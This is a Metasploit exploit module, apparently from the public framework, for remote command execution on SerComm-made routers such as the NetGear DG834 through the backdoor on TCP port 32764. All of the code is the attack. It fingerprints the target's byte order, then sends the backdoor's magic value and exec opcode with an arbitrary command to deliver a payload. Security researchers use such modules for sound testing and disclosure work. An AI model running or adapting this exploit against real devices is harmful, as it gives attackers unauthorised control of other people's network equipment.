##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::CmdStagerEcho

  def initialize(info={})
    super(update_info(info,
      'Name'           => "SerComm Device Remote Code Execution",
      'Description'    => %q{
        This module will cause remote code execution on several SerComm devices.
        These devices typically include routers from NetGear and Linksys.
        This module was tested successfully against the NetGear DG834 series
        ADSL modem router.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Eloi Vanderbeken <eloi.vanderbeken[at]gmail.com>', # Initial discovery, poc
          'Matt "hostess" Andreko <mandreko[at]accuvant.com>' # Msf module
        ],
      'Payload'        =>
        {
          'Space'       => 10000, # Could be more, but this should be good enough
          'DisableNops' => true
        },
      'Platform'       => 'linux',
      'Privileged'     => false,
      'Targets'        =>
        [
          ['Linux MIPS Big Endian',
            {
              'Arch' => ARCH_MIPSBE
            }
          ],
          ['Linux MIPS Little Endian',
            {
              'Arch' => ARCH_MIPSLE
            }
          ],
        ],
      'DefaultTarget'  => 0,
      'References'     =>
        [
          [ 'OSVDB', '101653' ],
          [ 'URL', 'https://github.com/elvanderb/TCP-32764' ]
        ],
      'DisclosureDate' => "Dec 31 2013" ))

      register_options(
        [
          Opt::RPORT(32764)
        ], self.class)
  end

  def check
    fprint = endian_fingerprint

    case fprint
    when 'BE'
      print_status("Detected Big Endian")
      return Msf::Exploit::CheckCode::Vulnerable
    when 'LE'
      print_status("Detected Little Endian")
      return Msf::Exploit::CheckCode::Vulnerable
    end

    return Msf::Exploit::CheckCode::Unknown
  end

  def exploit
    execute_cmdstager(:noargs => true)
  end

  def endian_fingerprint
    begin
      connect

      sock.put(rand_text(5))
      res = sock.get_once

      disconnect

      if res && res.start_with?("MMcS")
        return 'BE'
      elsif res && res.start_with?("ScMM")
        return 'LE'
      end
    rescue Rex::ConnectionError => e
      print_error("Connection failed: #{e.class}: #{e}")
    end

    return nil
  end

  def execute_command(cmd, opts)
    vprint_debug(cmd)

    # Get the length of the command, for the backdoor's command injection
    cmd_length = cmd.length

    # 0x53634d4d  => Backdoor code
    # 0x07        => Exec command
    # cmd_length  => Length of command to execute, sent after communication struct
    # According to @mandreko, probably targets specifics must be had into account
    # when dealing with the target endiangess... work in progress
    if target.arch.include?(ARCH_MIPSBE)
      data = [0x4d4d6353, 0x07, cmd_length].pack("NVV")
    else
      data = [0x4d4d6353, 0x07, cmd_length].pack("VNN")
    end

    connect
    # Send command structure followed by command text
    sock.put(data+cmd)
    disconnect

    Rex.sleep(1)
  end

end